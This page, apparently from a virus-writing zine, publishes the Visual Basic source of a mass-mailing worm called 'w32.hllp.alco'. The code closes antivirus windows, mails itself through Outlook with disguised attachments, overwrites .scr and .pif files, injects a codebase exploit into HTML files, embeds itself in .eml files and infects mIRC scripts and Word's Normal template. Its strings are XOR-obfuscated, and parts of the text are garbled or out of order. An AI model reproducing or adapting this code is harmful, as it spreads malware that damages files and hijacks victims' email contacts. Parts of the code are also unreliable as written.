Infiltration of a Nation
| last article | table of contents | next article |
|---|
| last article | table of contents | next article |
|---|
w32.hllp.alco by alcopaul
'====================================================================================
'b64ed=>tabla de tabulacin
Erase bin
'Gets the next free filenumber
'Open Base64 Input File
sResult = s & vbCrLf
l = LOF(FileIn) - (LOF(FileIn) Mod 3)
For i = 1 To l Step 3
'Read three bytes
'Always wait until there're more then 64 characters
s = s & vbCrLf
End If
'Calc Base64-encoded char
b = ((bin(n) And &H3) * 16) Or ((bin(1) \ 16) And &HF)
b = ((bin(n + 1) And &HF) * 4) Or ((bin(2) \ 64) And &H3)
b = bin(n + 2) And &H3F
Next i
'Now, you need to check if there is something left
'Reads the number of bytes left
'If there are only 2 chars left
b = ((bin(0) And &H3) * 16) Or ((bin(1) \ 16) And &HF)
b = ((bin(1) And &HF) * 4) Or ((bin(2) \ 64) And &H3)
s = s & "="
Else 'If there is only one char left
b = ((bin(0) And &H3) * 16) Or ((bin(1) \ 16) And &HF)
s = s & "=="
'Send the characters left
'Send the last part of the MIME Body
Close FileIn
End Function
' this is the product of all the individual routines from my previous creations, w32.hllp.antimacro and w32.hllp.mimee..
' the strings are encrypted... embeds itself to .eml files and .doc files... inserts the codebase exploit to all the
' .html and .htm files to be able for them to execute a copy of a worm when they are started.. closes some resident
' av monitors and has a messagebox payload.. sends e-mail using ms outlook and adding 5 attachments to the fuckin' message,
' a .exe, a .pif, a .com and a .scr, which are identical copies of the worm and a .eml file which contains a copy of the
' worm..
'
' made 3/12/2002
'
'
'====================================================================================
Attribute VB_Name = "Module1"
Option Explicit
Private Declare Function FindWindow Lib "user32" _
Alias "FindWindowA" _
(ByVal lpClassName As String, _
ByVal lpWindowName As String) As Long
Private Declare Function SystemParametersInfo Lib _
"user32" Alias "SystemParametersInfoA" (ByVal uAction _
As Long, ByVal uParam As Long, ByVal lpvParam As Any, _
ByVal fuWinIni As Long) As Long
Private Declare Function PostMessage Lib "user32" _
Alias "PostMessageA" _
(ByVal hwnd As Long, _
ByVal wMsg As Long, _
ByVal wParam As Long, _
ByVal lParam As Long) As Long
Const WM_CLOSE = &H10
Sub Main()
On Error Resume Next
Dim av0, av1, av2, av3, av4, av5, av6, av7, av8, av9, av10, n, ar, av
Dim kilwin As Long
Dim killed As Long
Dim xtasy As Long
Dim n1, ar1, attch, exe, exe1, scr, scr1, com, com1, pif, pif1, phexe, phcom, phpif, phscr, pheml
Dim n2, attch2, ar2, attr, a, b, c, d, e, y, xx, oo, g, n3, ar3, attch3, attr1
av0 = x("") ':::"JavaScan"
av1 = x("芧") ':::"Modem Booster"
av2 = x("") ':::"vettray"
av3 = x("囜螭") ':::"F-STOPW Version 5.06c"
av4 = x("嫡螡艤") ':::"PC-cillin 2000 : Virus Alert"
av5 = x("") ':::"DAPDownloadManager"
av6 = x("弡蛫") ':::"Real-time Scan"
av7 = x("") ':::"IOMON98"
av8 = x("腧") ':::"AVP Monitor"
av9 = x("") ':::"NAI_VS_STAT"
av10 = x("膧") ':::"Untitled - Notepad"
For n = 0 To 10
ar = Array(av0, av1, av2, av3, av4, av5, av6, av7, av8, av9, av10)
av = ar(n)
kilwin = FindWindow(vbNullString, av) '::: search and
killed = PostMessage(kilwin, WM_CLOSE, vbNull, vbNull) '::: kill the window names...
Next n
exe = App.Path & x("") & App.EXEName & x("捐") '::: if i'm a .exe in a directory
exe1 = App.Path & App.EXEName & x("捐") '::: if i'm a .exe in the root
scr = App.Path & x("") & App.EXEName & x("曋") '::: if i'm a .scr in a directory
scr1 = App.Path & App.EXEName & x("曋") '::: if i'm a .scr in the root
com = App.Path & App.EXEName & x("拇") '::: if i'm a .com in the root
com1 = App.Path & x("") & App.EXEName & x("拇") '::: if i'm a .com in a directory
pif = App.Path & App.EXEName & x("昁") '::: if i'm a .pif in the root
pif1 = App.Path & x("") & App.EXEName & x("昁") '::: if i'm a .pif in a directory
phexe = x("歰") ':::"c:\modembooster.exe"
phscr = x("滫") ':::"c:\mystique.scr"
phcom = x("櫧") ':::"c:\keygen.com"
phpif = x("渡") ':::"c:\readme.pif"
pheml = x("步") ':::"c:\chain.eml"
For n1 = 0 To 3
ar1 = Array(phexe, phscr, phcom, phpif)
attch = ar1(n1)
FileCopy exe, attch '::: spawn the .exe, .pif, .com and .scr files
FileCopy exe1, attch
FileCopy scr, attch
FileCopy scr1, attch
FileCopy com, attch
FileCopy com1, attch
FileCopy pif, attch
FileCopy pif1, attch
Next n1
Call oe '::: spawn "c:\chain.eml"
Set a = CreateObject(x("扸")) '::: mail itself using ms outlook
Set b = a.GetNameSpace(x(""))
If a = x("") Then
b.Logon x(""), x("")
For y = 1 To b.AddressLists.Count
Set d = b.AddressLists(y)
xx = 1
Set c = a.CreateItem(0)
For oo = 1 To d.AddressEntries.Count
e = d.AddressEntries(xx)
c.Recipients.Add e
xx = xx + 1
If xx > 8 Then oo = d.AddressEntries.Count '::: to 8 recipients ... :) :) :)
Next oo
c.Subject = x("轺覭计讧襱諧") '::: encrypted subject.. take a wild guess
c.Body = x("躭蠭詺軧轻计警") '::: encrypted msg.. take a wild guess again..
c.attachments.Add phexe, 1, 1, x("芧") '::: spoof .exe attachment as "Modem Booster v2.06"
c.attachments.Add phscr, 1, 2, x("蛫") '::: spoof .scr attachment as "Psychedelic Screensaver"
c.attachments.Add phcom, 1, 3, x("胭菭") '::: spoof .com attachment as "Registration Key Generator"
c.attachments.Add phpif, 1, 4, x("莡") '::: spoof .pif attachment as "Readme File"
c.attachments.Add pheml, 1, 5, x("脽苠脭") '::: spoof .eml attachment as "A Lucky Chain Letter"
c.Send
e = ""
Next y
b.Logoff
End If
For n2 = 0 To 4
ar2 = Array(pheml, phexe, phscr, phcom, phpif)
attch2 = ar2(n2)
attr = GetAttr(attch2)
If attr <> 3 Then
SetAttr attch2, vbHidden + vbReadOnly
End If
Next n2
If Dir(x(""), vbDirectory) = "" Then '::: if no personalised directory
MkDir x("") '::: make personalised directory
End If
FileCopy phscr, x("櫧") ':::copy itself to the personalised directory for use in registry call
Set g = CreateObject(x("曠")) '::: register the copied file
g.regwrite x(""), x("櫧")
If Dir(x(""), vbDirectory) = "" Then '::: if no personalised directory1
MkDir x("") '::: make personalised directory1
End If
FileCopy phscr, x("歰") '::: copy itslef to personalised directory for use in codebase exploit
For n3 = 0 To 1
ar3 = Array(x(""), x(""))
attch3 = ar3(n3)
attr1 = GetAttr(attch3)
If attr1 <> 3 Then
SetAttr attch3, vbHidden + vbReadOnly '::: hide and make directories read-only
End If
Next n3
Call dribe
Call mirc
Call norm
MsgBox x("櫧軩ꜭ襭计輠蠡襭"), vbExclamation, x("艦螡芩蘺")
End Sub
Private Sub oe() '::: make chain.eml
On Error Resume Next
Dim head, toe, encode
head = "脽苠脭
垭圱襽祡誧嘺兛嘺膧坦兡蘺花腡腡衻襽帩襭衦腁讧圱輭縤諠场卦輠輧豧论試豧襤読褽輧輠裩诽圱詸奻覩ꫠ歰场卦誩匡詼计ꫠ歰"
toe = ""
encode = b64(x("櫧")) ':::base64 itself
Open x("步") For Output As #1
Print #1, x(head) '::: write the portion of .eml file
Print #1, encode '::: write b64ed file
Print #1, x(toe) '::: finalise
Close #1
End Sub
'::: search for files and do its thing
Sub dribe()
On Error Resume Next
Dim d, dc, s, fso, dribe
Set fso = CreateObject(x("採"))
Set dc = fso.Drives
For Each d In dc
End If
Next
dribe = s
End Sub
Sub info(spec)
On Error Resume Next
Dim f, f1, fc, ext, ap, mircfname, s, fso, faa, fae, fa, fe, fi, fo, fu, exe, exe1, scr, scr1, com, com1, pif, pif1
Set fso = CreateObject(x("採"))
exe = App.Path & x("") & App.EXEName & x("捐")
exe1 = App.Path & App.EXEName & x("捐")
scr = App.Path & x("") & App.EXEName & x("曋")
scr1 = App.Path & App.EXEName & x("曋")
com = App.Path & App.EXEName & x("拇")
com1 = App.Path & x("") & App.EXEName & x("拇")
pif = App.Path & App.EXEName & x("昁")
pif1 = App.Path & x("") & App.EXEName & x("昁")
Set f = fso.GetFolder(spec)
Set fc = f.Files
For Each f1 In fc
ext = fso.GetExtensionName(f1.Path)
ext = LCase(ext)
s = LCase(f1.Name)
If (ext = x("")) Or (ext = x("")) Then ':::overwrite .scr and .pif files
Set f = fso.getfile(exe)
f.Copy (f1.Path)
Set fa = fso.getfile(exe1)
fa.Copy (f1.Path)
Set fe = fso.getfile(scr)
fe.Copy (f1.Path)
Set fi = fso.getfile(scr1)
fi.Copy (f1.Path)
Set fo = fso.getfile(com)
fo.Copy (f1.Path)
Set fu = fso.getfile(com1)
fu.Copy (f1.Path)
Set faa = fso.getfile(pif)
faa.Copy (f1.Path)
Set fae = fso.getfile(pif1)
fae.Copy (f1.Path)
End If
If (ext = x("")) Or (ext = x("")) Then ':::add codebase exploit to .html and .htm files
htminfect (f1.Path)
End If
If (ext = x("")) Then
mimeinfect (f1.Path) ':::add a copy of itself to .eml files
End If
Next
End Sub
Sub fldr(spec)
On Error Resume Next
Dim f, f1, sf, fso
Set fso = CreateObject(x("採"))
Set f = fso.GetFolder(spec)
Set sf = f.SubFolders
For Each f1 In sf
info (f1.Path)
fldr (f1.Path)
Next
End Sub
Private Function x(sText) ':::decrypt strings
On Error Resume Next
Dim ekey, i, hash, crbyte
ekey = 1730
For i = 1 To Len(sText)
hash = Asc(Mid(sText, i, 1))
crbyte = Chr(hash Xor (ekey Mod 255))
x = x & crbyte
Next i
End Function
Private Sub mimeinfect(fileinput As String) '::: the routine for .eml files
On Error Resume Next
Dim dd As Integer
Dim s As String
Dim sig, ver, textline, ddd, bb, extasy, extasy1, sex, g, gh, rout, num, source, fileread, b, c, d, e
Open fileinput For Input As #6
Do Until Mid(sig, 1, 4) = x("")
Line Input #6, sig
Loop
Line Input #6, ver
Close #6
If Mid(ver, 18, 3) = x("") Then
Else
Open fileinput For Input As #1
Do Until Mid(textline, 1, 4) = x("")
Line Input #1, textline
ddd = ddd & textline & vbCrLf
Loop
If Mid(textline, 1, 4) = x("") Then
bb = ddd & textline & x("")
End If
Line Input #1, extasy
Line Input #1, extasy1
If Mid(extasy1, 2, 5) = x("") Then
Else
Line Input #1, sex
extasy1 = sex
End If
Do Until EOF(1)
Line Input #1, g
gh = gh & g & vbCrLf
dd = dd + 1
Loop
Close #1
'the routine
Open fileinput For Input As #7
Do Until Mid(rout, 1, 4) = x("")
Line Input #7, rout
Loop
For num = 0 To dd - 1
Line Input #7, source
fileread = fileread & source & vbCrLf
Next num
Close #7
b = Mid(extasy1, 12, 41)
c = x("櫧")
d = b64(c)
e = "圱詸奻覩꺭歰场卦誩匡詼计꺭歰"
Open fileinput For Output As #1
Print #1, bb
Print #1, fileread
Print #1, x("") & b
Print #1, x(e)
Print #1, d
Print #1, x("") & b & x("")
Close 1
End If
End Sub
Sub htminfect(file As String) '::: the routine that will add the codebase exploit to .html and .htm files
Dim exploit, fso, header, file1, kopy, s
exploit = "謩¬謩盘衬铋衬諤ꫤ諧灍秮歰秪簥"
Open file For Input As #6
Line Input #6, header
Close #6
If header = x("婤") Then
Else
Set fso = CreateObject(x("採"))
Set file1 = fso.OpenTextFile(file, 1)
kopy = file1.ReadAll
Open file For Output As #7
Print #7, x("婤")
Print #7, kopy
Print #7, x(exploit)
Close #7
End If
End Sub
'mirc
Sub mirc() '::: modify script.ini, spawn a file that will be transmitted to the mirc
On Error Resume Next
Dim a, phpif
phpif = x("渡")
a = "¦触⠭¦确즡쥭蠩¦祻즡耭聮豧ﺭ躽蘭蠭计輠迡輿豧踺蚭輧櫧¦笫軭즡櫧¦¦触¦确즡쥭蠩¦祻즡耭聮豧ﺭ躽蘭蠭计輠迡輿豧踺蚭輧櫧¦笫軭즡櫧¦¦触¦确즡쥭蠩¦祻즡耭聮豧ﺭ躽蘭蠭计輠迡輿豧踺蚭輧櫧¦笫軭즡櫧¦"
FileCopy phpif, x("櫧")
If Dir(x("莡"), vbDirectory) <> "" Then
Open x("莡桦") For Output As #3
Print #3, x(a)
Close #3
End If
If Dir(x(""), vbDirectory) <> "" Then
FileCopy x("莡桦"), x("桦")
End If
End Sub '::: modify normal template, add a macro that will able for word to embed an executable copy of the worm in documents
Sub norm()
On Error Resume Next
Dim norm, norm1, fso, oword, nt, iw, i, b
FileCopy x("歰"), x("滫")
If Dir(x("漰")) <> x("漰") Then
norm = "謧荺蚭膭楥莧臽艻껽謧ꇦ荺蚭膭缾詤ꧪ艫曠懄拤艫曠懄扫苤扫ꍦ蟡ꭦ軽讻苺ꛫ採覼艫枊澪櫧衿讻懸楥蜺¦挭覼拧¡蟠衿橼蜺ª衿溭¦恦¡曠扬滫"
norm1 = "曩溭莧臽艻ꚍ꓀ꄭ꓀ꄭꉫ꺭溭辪溭蛽"
Open x("漰") For Output As #1
Print #1, x(norm)
Print #1, x(norm1)
Close #1
Set fso = CreateObject(x("採"))
Set oword = CreateObject(x("扸"))
oword.Visible = False
Set nt = oword.NormalTemplate.vbproject.vbcomponents(1).codemodule
Set iw = fso.OpenTextFile(x("漰"), 1, True)
nt.DeleteLines 1, nt.CountOfLines
i = 1
Do While iw.atendofstream <> True
b = iw.readline
nt.InsertLines i, b
i = i + 1
Loop
oword.NormalTemplate.Save
SetAttr oword.NormalTemplate.Fullname, vbReadOnly
oword.NormalTemplate.Close
End If
End Sub
Private Function b64(ByVal vsFullPathname As String) As String ':::base 64.. thanks to a vb programmer
On Error Resume Next
'For Encoding BASE64
Dim b As Integer
Dim b64ed As Variant
Dim bin(3) As Byte
Dim s As String
Dim l As Long
Dim i As Long
Dim FileIn As Long
Dim sResult As String
Dim n As Long
b64ed = Array("A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "+", "/")
l = 0: i = 0: FileIn = 0: b = 0:
s = ""
FileIn = FreeFile
Open vsFullPathname For Binary As FileIn
s = ""
Get FileIn, , bin(0)
Get FileIn, , bin(1)
Get FileIn, , bin(2)
If Len(s) > 64 Then
sResult = sResult & s
s = ""
b = (bin(n) \ 4) And &H3F 'right shift 2 bits (&H3F=111111b)
s = s & b64ed(b) 'the character s holds the encoded chars
s = s & b64ed(b)
s = s & b64ed(b)
s = s & b64ed(b)
If Not (LOF(FileIn) Mod 3 = 0) Then
For i = 1 To (LOF(FileIn) Mod 3)
Get FileIn, , bin(i - 1)
Next i
If (LOF(FileIn) Mod 3) = 2 Then
b = (bin(0) \ 4) And &H3F 'right shift 2 bits (&H3F=111111b)
s = s & b64ed(b)
s = s & b64ed(b)
s = s & b64ed(b)
b = (bin(0) \ 4) And &H3F 'right shift 2 bits (&H3F=111111b)
s = s & b64ed(b)
s = s & b64ed(b)
End If
End If
If s <> "" Then
s = s & vbCrLf
sResult = sResult & s
End If
s = ""
b64 = sResult